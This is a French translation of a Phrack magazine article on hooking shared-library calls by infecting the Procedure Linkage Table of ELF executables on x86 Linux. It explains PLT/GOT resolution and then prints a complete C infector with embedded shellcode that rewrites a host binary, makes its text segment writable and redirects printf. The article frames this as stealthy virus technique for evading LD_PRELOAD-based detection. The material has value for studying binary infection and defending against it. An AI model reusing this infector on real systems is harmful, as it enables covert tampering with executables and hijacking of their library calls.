- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x07[0x10] |----------- REDIRECTION D'APPEL A UNE BIBLIOTHEQUE PARTAGEE ----------| |--------------------- VIA INFECTION DE LA PLT ELF --------------------| |----------------------------------------------------------------------| |------------------ Silvio Cesare -----------------| ----| INTRODUCTION Cet article décrit une méthode de redirection d'appel à une bibliothèque partagée utilisant une infection ELF qui redirige la Table de Liaison des Procédures (Procedure Linkage Table, PLT) d'un exécutable, permettant à la redirection d'exister en dehors de l'exécutable infecté. Par rapport à la technique de redirection LD_PRELOAD, cette technique a l'avantage de ne pas modifier l'environnement, et donc d'être plus difficilement détectable. A titre d'illustration, une implémentation pour x86/Linux est fournie. Ceux intéressés peuvent se reporter à ces URLs : http://virus.beergrave.net (La liste de diffusion des virus Unix) http://www.big.net.au/~silvio (Ma page) [NdT : big.net.au semble être mort, mais il est toujours possible de retrouver les articles de Silvio Cesare sur http://vx.netlux.org/lib/?lang=EN&author=Cesare%2C%20Silvio ] ----| LA TABLE DE LIAISON DES PROCEDURES (PLT) D'après les spécifications ELF ... (lecture optionnelle, mais donne plus de détails que le texte après) " Table de Liaison des Procédures A l'image de la Table des Décalages Globaux (Global Offset Table, GOT) qui redirige des adresses indépendantes en position en adresses absolues, la Table de Liaison des Procédures redirige des appels de fonction indépendantes en position en adresses absolues. L'éditeur de lien ne peut résoudre les transfert d'exécution (tels que les appels de fonction) d'un exécutable ou objet partagé vers un autre. Par conséquent, l'éditeur de lien s'arrange pour que le programme tranfère le contrôle aux entrées de la PLT. Sur l'architecture SYSTEM V, la PLT est située dans le texte partagé, mais utilise des adresses de la GOT qui est, elle, privée. L'éditeur de liens dynamique détermine les adresses absolues des destinations et modifie l'image mémoire de la GOT en conséquence. L'éditeur de liens dynamique peut ainsi rediriger les entrées sans compromettre l'indépendance en position et la partageabilité du texte du programme. Les exécutables et les objets partagés ont des des PLT séparées. + Figure 2-12: Table de liaison des procédures absolue {*} .PLT0:pushl got_plus_4 jmp *got_plus_8 nop; nop nop; nop .PLT1:jmp *name1_in_GOT pushl $offset jmp .PLT0@PC .PLT2:jmp *name2_in_GOT pushl $offset jmp .PLT0@PC ... + Figure 2-13: Table de liaison des procédures indépendante en position .PLT0:pushl 4(%ebx) jmp *8(%ebx) nop; nop nop; nop .PLT1:jmp *name1@GOT(%ebx) pushl $offset jmp .PLT0@PC .PLT2:jmp *name2@GOT(%ebx) pushl $offset jmp .PLT0@PC ... NOTE : Comme le montrent les listings, la PLT utilise des modes d'adressage d'opérande différents pour le code absolu et le code indépendant en position. Néanmoins, leurs interfaces vis a vis de l'éditeur de lien dynamique sont les mêmes. En suivant les étapes ci-dessous, l'editeur de lien dynamique et le programme ``coopèrent'' pour résoudre les références symboliques en passant par la PLT et la GOT. 1. Lorsqu'il créé l'image mémoire du processus, l'éditeur de lien dynamique affecte à la deuxième et troisième entrée de la GOT des valeurs spéciales. Les étapes ci-dessous expliquent plus en détail ce que sont ces valeurs. 2. Si la PLT est indépendante en position, %ebx doit contenir l'adresse de la GOT. Chaque fichier de type objet partagé dans l'image du processus possède sa propre PLT, et le contrôle ne peut être transféré qu'a une entrée de la PLT du même fichier objet. Par conséquent, la fonction appelante doit affecter la bonne valeur au registre de base de la GOT (%ebx) avant d'appeler l'entrée de la PLT. 3. Pour illustrer, nous dirons que le programme appelle name1, qui transfère le contrôle à l'étiquette .PLT1. 4. La première instruction saute à l'adresse dans l'entrée de la GOT correspondant à name1. Au départ, la GOT contient l'adresse du pushl suivant, et non pas l'adresse réelle de name1. 5. Par conséquent, le programme empile un déplacement de relogement ($offset). Le déplacement de relogement est un déplacement en octets, positif, de taille 32 bits, dans la table de relogement. L'entrée de relogement désignée doit avoir le type R_386_JMP_SLOT, et son déplacement désigne l'entrée de la GOT utilisée dans le jmp précédent. L'entrée de relogement contient également un index de table des symboles, indiquant ainsi à l'éditeur de lien dynamique quel est le symbole référencé, name1 dans cet exemple. 6. Après avoir empilé le déplacement de relogement, le programme saute à .PLT0, la première entrée dans la PLT. l'instruction pushl place la valeur de la deuxième entrée de la GOT (got_plus_4 ou 4(%ebx)), indiquant ainsi à l'éditeur de lien dynamique un mot d'information d'identification. Le programme saute ensuite à l'adresse de la troisième entrée de la GOT (got_plus_8 ou 8(%ebx)), qui transfère le contrôle à l'éditeur de lien dynamique. 7. Quand l'éditeur de lien dynamique reçoit le contrôle, il parcourt la pile, regarde l'entrée de relogement désignée, trouve la valeur du symbole, enregistre la ``véritable adresse de name1 dans son entrée de la GOT, et transfère le contrôle à la destination voulue. 8. Les exécutions ultérieures de l'entrée de la PLT sauteront directement à name1, sans ré-appeler l'éditeur de lien dynamique, c'est-à-dire que l'instruction jmp à .PLT1 sautera à name1 au lieu de passer au pushl suivant. La variable d'environement LD_BIND_NOW affecte le comportement de l'édition de lien dynamique. Si sa valeur est non-nulle, l'editeur de lien dynamique évalue les entrées de la PLT avant de transférer le contrôle au programme, autrement dit il traite le relogement des entrées de type R_386_JMP_SLOT pendant l'initialisation du processus. Sinon, l'éditeur de lien dynamique évalue les entrées de la PLT paresseusement, ne résolvant le symbole et le relogement que lors de la première exécution d'une entrée de la table. NOTE : La liaison paresseuse améliore généralement les performances globales de l'application, car les symboles non-utilisés n'induisent pas de surcharge due à la liaison dynamique. Néanmoins, deux situations rendent la liaison paresseuse indésirable pour certaines applications. Premièrement, le premier appel à une fonction partagée prend plus de temps que les appels suivants, car l'éditeur de lien dynamique intercepte l'appel pour résoudre le symbole. Certaines applications ne peuvent tolérer cette incertitude. Deuxièmement, si une erreur survient et que l'éditeur de lien dynamique ne peut résoudre le symbole, il va terminer le programme. Avec la liaison paresseuse, cela peut arriver à n'importe quel moment. Encore une fois, certaines applications ne peuvent tolérer cette incertitude. En désactivant la liaison paresseuse, l'éditeur de lien dynamique oblige les problèmes a se manifester pendant l'initialisation du processus, avant que l'application ne reçoive le contrôle. " Pour expliquer de manière conçise ... Les appels aux bibliothèques partagées sont traités différemment dans les objets exécutables car elles ne peuvent être liées à l'exécutable au moment de la compilation, attendu qu'elles ne sont disponibles qu'au moment de l'exécution. La PLT a été conçue pour régler de tels problèmes. La PLT contient le code chargé d'appeler l'éditeur de lien dynamique pour localiser les routines voulues. Au lieu d'appeler les véritables routines partagées depuis l'exécutable, l'exécutable appelle une entrée dans la PLT. La PLT devra ensuite résoudre le symbole que l'entrée représente et faire ce qu'il faut. D'après les spécifications ELF ... " .PLT1:jmp *name1_in_GOT pushl $offset jmp .PLT0@PC " C'est le pasage crucial. C'est cette routine qui est appelée à la place de la routine partagée. name1_in_GOT pointe initialement vers 'pushl $offset'. $offset représente un déplacement de relogement (voir spécifications ELF) qui a une référence vers le symbole représentant l'appel original. Le jmp final saute vers l'éditeur de lien dynamique qui va changer name1_in_GOT de sorte qu'il pointe directement vers la routine, évitant ainsi une seconde liaison dynamique. Ceci résume bien l'importance de la PLT dans la résolution d'appel de code partagé. On peut noter qu'il nous est possible de changer name_in_GOT pour le faire pointer vers notre propre code, remplacant ainsi les appels de bibliothèque. Si nous sauvegardons la GOT avant de la remplacer, nous sommes en mesure d'appeler l'ancienne routine et donc de rediriger n'importe quel appel de bibliothèque. ----| INFECTION ELF L'injection d'une redirection d'appel de bibliothèque dans un exécutable exige l'ajout de nouveau code. La démarche effective ne sera pas décrite ici, ayant déja été vue en détail dans des articles précédents (Unix Virusses/Unix ELF Parasites and Virus). Pour référence nous utiliserons ici l'infection de données [NdT : Data Infection], méthode légèrement instable car sensible au stripping. ----| REDIRECTION DE LA PLT L'algorithme au point d'entrée est le suivant ... * marquer le segment de text comme accessible en écriture. * sauvegarder l'entrée de la PLT(GOT) * remplacer l'entrée de la PLT(GOT) avec la nouvelle adresse d'appel L'algorithme a la nouvelle adresse d'appel est le suivant ... * exécuter le code de la nouvelle fonction * restaurer la valeur originale de l'entrée de la PLT(GOT) * appeler la fonction de bibliothèque originale * sauvegarder à nouveau l'entrée de la PLT(GOT) (si elle a changé) * remplacer l'entrée de la PLT(GOT) avec la nouvelle adresse d'appel Pour expliquer plus en détail comment se fait la redirection PLT, le plus simple est de décrire le morceau de code fourni. Ce code est injecté dans un exécutable et devient le nouveau point d'entrée du programme. La fonction de bibliothèque détournée est printf, et le nouveau code affiche un message avant la chaîne fournie à printf. -- sauvegarde les registres et le reste ... "\x60" /* pusha */ marque le segment de texte comme rwx. Ainsi nous pouvons modifier la PLT qui est dans le segment de texte et qui n'est normalement pas accessible en écriture. "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ nous sauvegardons la référence PLT(GOT) du vieil appel de bibliothèque et le remplaçons par l'adresse du nouvel appel situé juste après le nouveau point d'entrée. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" restaure les registres et tout le reste ... "\x61" /* popa */ retour au point d'entrée original de l'exécutable. "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ le nouvel appel de bibliothèque (printf). /* newcall: */ récupère l'adresse de la chaîne à écrire ... "\xeb\x38" /* jmp msg_jmp */ /* msg_call */ "\x59" /* popl %ecx */ et écrit cette chaîne avec l'appel système Linux. "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $14,%edx */ "\xcd\x80" /* int $0x80 */ restaure l'ancien appel de bibliothèque dans la PLT(GOT) pour que nous puissions l'appeler "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ récupère l'argument original de printf "\xff\x75\xfc" /* pushl -4(%ebp) */ appelle la fonction originale "\xff\xd0" /* call *%eax */ sauvegarde l'appel original de la PLT(GOT). Rappelez vous qu'il peut changer après un appel à la bibliothèque, donc nous le sauvegardons à chaque fois. En réalité, il ne change qu'après le premier appel, mais la surcharge n'est pas trop lourde. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ fait pointer la PLT(GOT) vers le nouvel appel "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" nettoie les arguments "\x58" /* popl %eax */ restaure les registres et tout le reste ... "\x61" /* popa */ et sort de la fonction. "\xc3" /* ret */ récupère l'adresse de la chaîne a écrire. /* msg_jmp */ "\xe8\xc4\xff\xff\xff" /* call msg_call */ la chaîne "INFECTED Host " ----| DIRECTIONS FUTURES Il est possible d'infecter directement une bibliothèque partagée. Parfois cette approche est préférable car la redirection devient permanente pour tout les exécutables. Il est également possible d'altérer uniquement l'image mémoire du processus, ainsi le fichier exécutable n'est pas modifié, ajoutant a la furtivité de l'opération. Cependant, la redirection ne sera effective que durant le temps de vie du processus. ----| CONCLUSION Cet article a décrit une méthode de redirection d'appel de bibliothèque partagée dans un exécutable s'appuyant sur une modification directe de la PLT de l'exécuable en question en utilisant les techniques d'infection ELF. Elle offre une meilleure furtivité que les techniques précédentes utilisant LD_PRELOAD et ouvre de nombreuses possibilités. ----| CODE <++> p56/PLT-INFECTION/PLT-infector.c !fda3c047 #include #include #include #include #include #include #include #include #define PAGE_SIZE 4096 static char v[] = "\x60" /* pusha */ "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x61" /* popa */ "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ /* newcall: */ "\xeb\x37" /* jmp msg_jmp */ /* msg_call */ "\x59" /* popl %ecx */ "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $14,%edx */ "\xcd\x80" /* int $0x80 */ "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ "\xff\x75\xfc" /* pushl -4(%ebp) */ "\xff\xd0" /* call *%eax */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x58" /* popl %eax */ "\xc3" /* ret */ /* msg_jmp */ "\xe8\xc4\xff\xff\xff" /* call msg_call */ "INFECTED Host " ; char *get_virus(void) { return v; } int init_virus( int plt, int offset, int text_start, int data_start, int data_memsz, int entry ) { int code_start = data_start + data_memsz; int oldcall = code_start + 72; int newcall = code_start + 51; *(int *)&v[7] = text_start; *(int *)&v[24] = plt; *(int *)&v[29] = oldcall; *(int *)&v[35] = plt; *(int *)&v[39] = newcall; *(int *)&v[45] = entry; *(int *)&v[77] = plt; *(int *)&v[87] = plt; *(int *)&v[92] = oldcall; *(int *)&v[98] = plt; *(int *)&v[102] = newcall; return 0; } int copy_partial(int fd, int od, unsigned int len) { char idata[PAGE_SIZE]; unsigned int n = 0; int r; while (n + PAGE_SIZE < len) { if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {; perror("read"); return -1; } if (write(od, idata, PAGE_SIZE) < 0) { perror("write"); return -1; } n += PAGE_SIZE; } r = read(fd, idata, len - n); if (r < 0) { perror("read"); return -1; } if (write(od, idata, r) < 0) { perror("write"); return -1; } return 0; } void do_elf_checks(Elf32_Ehdr *ehdr) { if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) { fprintf(stderr, "File not ELF\n"); exit(1); } if (ehdr->e_type != ET_EXEC) { fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n"); exit(1); } if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) { fprintf(stderr, "ELF machine type not EM_386 or EM_486\n"); exit(1); } if (ehdr->e_version != EV_CURRENT) { fprintf(stderr, "ELF version not current\n"); exit(1); } } int do_dyn_symtab( int fd, Elf32_Shdr *shdr, Elf32_Shdr *shdrp, const char *sh_function ) { Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link]; char *string; Elf32_Sym *sym, *symp; int i; string = (char *)malloc(strtabhdr->sh_size); if (string == NULL) { perror("malloc"); exit(1); } if (lseek( fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset ) { perror("lseek"); exit(1); } if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) { perror("read"); exit(1); } sym = (Elf32_Sym *)malloc(shdrp->sh_size); if (sym == NULL) { perror("malloc"); exit(1); } if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) { perror("lseek"); exit(1); } if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) { perror("read"); exit(1); } symp = sym; for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) { if (!strcmp(&string[symp->st_name], sh_function)) { free(string); return symp - sym; } ++symp; } free(string); return -1; } int get_sym_number( int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function ) { Elf32_Shdr *shdrp = shdr; int i; for (i = 0; i < ehdr->e_shnum; i++) { if (shdrp->sh_type == SHT_DYNSYM) { return do_dyn_symtab(fd, shdr, shdrp, sh_function); } ++shdrp; } } void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym) { Elf32_Rel *rel, *relp; int i; rel = (Elf32_Rel *)malloc(shdr->sh_size); if (rel == NULL) { perror("malloc"); exit(1); } if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) { perror("lseek"); exit(1); } if (read(fd, rel, shdr->sh_size) != shdr->sh_size) { perror("read"); exit(1); } relp = rel; for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) { if (ELF32_R_SYM(relp->r_info) == sym) { *plt = relp->r_offset; *offset = relp - rel; printf("offset %i\n", *offset); return; } ++relp; } *plt = -1; *offset = -1; } void find_rel( int *plt, int *offset, int fd, const char *string, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function ) { Elf32_Shdr *shdrp = shdr; int sym; int i; sym = get_sym_number(fd, ehdr, shdr, sh_function); if (sym < 0) { *plt = -1; *offset = -1; return; } for (i = 0; i < ehdr->e_shnum; i++) { if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) { do_rel(plt, offset, fd, shdrp, sym); return; } ++shdrp; } } void infect_elf( char *host, char *(*get_virus)(void), int (*init_virus)(int, int, int, int, int, int), int len, const char *sh_function ) { Elf32_Ehdr ehdr; Elf32_Shdr *shdr, *strtabhdr; Elf32_Phdr *phdr; char *pdata, *sdata; int move = 0; int od, fd; int evaddr, text_start = -1, plt; int sym_offset; int bss_len, addlen; int offset, pos, oshoff; int plen, slen; int i; char null = 0; struct stat stat; char *string; char tempname[8] = "vXXXXXX"; fd = open(host, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* read the ehdr */ if (read(fd, &ehdr, sizeof(ehdr)) < 0) { perror("read"); exit(1); } do_elf_checks(&ehdr); /* modify the virus so that it knows the correct reentry point */ printf("host entry point: %x\n", ehdr.e_entry); /* allocate memory for phdr tables */ pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum); if (pdata == NULL) { perror("malloc"); exit(1); } /* read the phdr's */ if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) { perror("lseek"); exit(1); } if (read(fd, pdata, plen) != plen) { perror("read"); exit(1); } phdr = (Elf32_Phdr *)pdata; /* allocated memory if required to accomodate the shdr tables */ sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum); if (sdata == NULL) { perror("malloc"); exit(1); } /* read the shdr's */ if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) { perror("lseek"); exit(1); } if (read(fd, sdata, slen) != slen) { perror("read"); exit(1); } strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx]; string = (char *)malloc(strtabhdr->sh_size); if (string == NULL) { perror("malloc"); exit(1); } if (lseek( fd, strtabhdr->sh_offset, SEEK_SET ) != strtabhdr->sh_offset) { perror("lseek"); exit(1); } if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) { perror("read"); exit(1); } find_rel( &plt, &sym_offset, fd, string, &ehdr, (Elf32_Shdr *)sdata, sh_function ); if (plt < 0) { printf("No dynamic function: %s\n", sh_function); exit(1); } for (i = 0; i < ehdr.e_phnum; i++) { if (phdr->p_type == PT_LOAD) { if (phdr->p_offset == 0) { text_start = phdr->p_vaddr; } else { if (text_start < 0) { fprintf(stderr, "No text segment??\n"); exit(1); } /* is this the data segment ? */ #ifdef DEBUG printf("Found PT_LOAD segment...\n"); printf( "p_vaddr: 0x%x\n" "p_offset: %i\n" "p_filesz: %i\n" "p_memsz: %i\n" "\n", phdr->p_vaddr, phdr->p_offset, phdr->p_filesz, phdr->p_memsz ); #endif offset = phdr->p_offset + phdr->p_filesz; bss_len = phdr->p_memsz - phdr->p_filesz; if (init_virus != NULL) init_virus( plt, sym_offset, text_start, phdr->p_vaddr, phdr->p_memsz, ehdr.e_entry ); ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz; break; } } ++phdr; } /* update the shdr's to reflect the insertion of the virus */ addlen = len + bss_len; shdr = (Elf32_Shdr *)sdata; for (i = 0; i < ehdr.e_shnum; i++) { if (shdr->sh_offset >= offset) { shdr->sh_offset += addlen; } ++shdr; } /* update the phdr's to reflect the extention of the data segment (to allow virus insertion) */ phdr = (Elf32_Phdr *)pdata; for (i = 0; i < ehdr.e_phnum; i++) { if (phdr->p_type != PT_DYNAMIC) { if (move) { phdr->p_offset += addlen; } else if (phdr->p_type == PT_LOAD && phdr->p_offset) { /* is this the data segment ? */ phdr->p_filesz += addlen; phdr->p_memsz += addlen; #ifdef DEBUG printf("phdr->filesz: %i\n", phdr->p_filesz); printf("phdr->memsz: %i\n", phdr->p_memsz); #endif move = 1; } } ++phdr; } /* update ehdr to reflect new offsets */ if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen; if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen; if (fstat(fd, &stat) < 0) { perror("fstat"); exit(1); } /* write the new virus */ if (mktemp(tempname) == NULL) { perror("mktemp"); exit(1); } od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode); if (od < 0) { perror("open"); exit(1); } if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); goto cleanup; } if (write(od, &ehdr, sizeof(ehdr)) < 0) { perror("write"); goto cleanup; } if (write(od, pdata, plen) < 0) { perror("write"); goto cleanup; } free(pdata); if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) { perror("lseek"); goto cleanup; } if (copy_partial(fd, od, offset - pos) < 0) goto cleanup; for (i = 0; i < bss_len; i++) write(od, &null, 1); if (write(od, get_virus(), len) != len) { perror("write"); goto cleanup; } if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup; if (write(od, sdata, slen) < 0) { perror("write"); goto cleanup; } free(sdata); if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) { perror("lseek"); goto cleanup; } if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup; if (rename(tempname, host) < 0) { perror("rename"); exit(1); } if (fchown(od, stat.st_uid, stat.st_gid) < 0) { perror("chown"); exit(1); } free(string); return; cleanup: unlink(tempname); exit(1); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "usage: infect-data-segment filename\n"); exit(1); } infect_elf( argv[1], get_virus, init_virus, sizeof(v), "printf" ); exit(0); } <--> |EOF|------------------------------------------------------------------| [Traduit par pvt.Joker le 1 août 2007]